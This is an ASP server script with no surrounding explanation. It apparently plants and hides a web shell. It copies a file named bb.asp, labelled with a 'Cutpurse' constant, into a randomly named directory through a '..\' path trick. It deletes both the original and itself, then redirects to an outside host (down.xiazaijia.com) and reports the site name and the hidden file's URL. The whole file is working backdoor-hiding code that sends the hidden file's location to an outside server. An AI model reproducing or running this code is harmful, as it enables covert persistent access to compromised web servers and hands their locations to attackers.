<% Dim MyFileName Dim MyLocalPath Dim RndDirName Dim RndFileName Dim k, str1 Const CutpurseFileName = "bb.asp" Const SaveURL = "http://down.xiazaijia.com:800/save2.asp" MyFileName = Request.ServerVariables("Script_Name") k = InstrRev(MyFileName,"/") If k > 0 Then MyFileName = Right(MyFileName,Len(MyFileName)-k) MyLocalPath = GetMyLocalPath RndDirName = GetRndName(3,5) & "..\" RndFileName = GetRndName(3,5) & ".asp" If CheckFilePath(MyLocalPath & CutpurseFileName) = False Then Response.Write "文件:" & CutpurseFileName & " 不存在!" Response.End End If If CreateDirPath(MyLocalPath & RndDirName) = False Then Response.Write "创建目录( " & RndDirName & " )失败!" Response.End End If If CopyFiles(MyLocalPath & CutpurseFileName, MyLocalPath & RndDirName & RndFileName) = False Then Response.Write "复制文件( " & CutpurseFileName & " )失败!" Response.end End If RndDirName = Replace(RndDirName,"..\","./") str1 = SaveURL & _ "?z="& request.servervariables("HTTP_HOST") & _ "&u=" & GetMyURL & RndDirName & RndFileName Response.Redirect str1 Public Function CheckFilePath(Byval Path) Dim FSO Set FSO = CreateObject("Scripting.FileSystemObject") IF FSO.FileExists(Path) then CheckFilePath = True Else CheckFilePath = False End IF Set FSO=Nothing End Function Public Function CreateDirPath(Byval Path) Dim FSO On Error Resume Next Set FSO = CreateObject("Scripting.FileSystemObject") CreateDirPath = False IF FSO.FolderExists(Path) = False then FSO.CreateFolder(Path) End IF CreateDirPath = True On Error Goto 0 Set FSO=Nothing End Function Public Function CopyFiles(byval FormPath, byval ToPath) Dim FSO Set FSO = CreateObject("Scripting.FileSystemObject") On Error Resume Next FSO.CopyFile FormPath, ToPath IF FSO.FileExists(ToPath) Then CopyFiles = True FSO.DeleteFile FormPath FSO.DeleteFile MyLocalPath & MyFileName Else CopyFiles = False End IF On Error Goto 0 Set FSO = Nothing End Function Public Function GetRndName(Min, Max) Dim i,k,p If Max <= 0 Then Exit Function p = Split("") For i = Asc("a") To Asc("z") ReDim Preserve p(UBound(p) + 1) p(UBound(p)) = Chr(i) Next k = GetRnd(Min, Max) For i = 1 To k GetRndName = GetRndName & p(GetRnd(0, UBound(p))) Next End Function Public Function GetRnd(Min, Max) Randomize GetRnd = Int((Max - Min + 1) * Rnd + Min) End Function Public Function GetMyLocalPath() Dim k GetMyLocalPath = Request.ServerVariables("Path_Translated") k = InstrRev(GetMyLocalPath,"\") If k > 0 Then GetMyLocalPath = Left(GetMyLocalPath,k) End Function Public Function GetMyURL() GetMyURL = "http://" & _ Request.ServerVariables("HTTP_HOST") & _ Mid(Request.ServerVariables("URL"), 1, InStrRev(Request.ServerVariables("URL"), "/")) End Function %>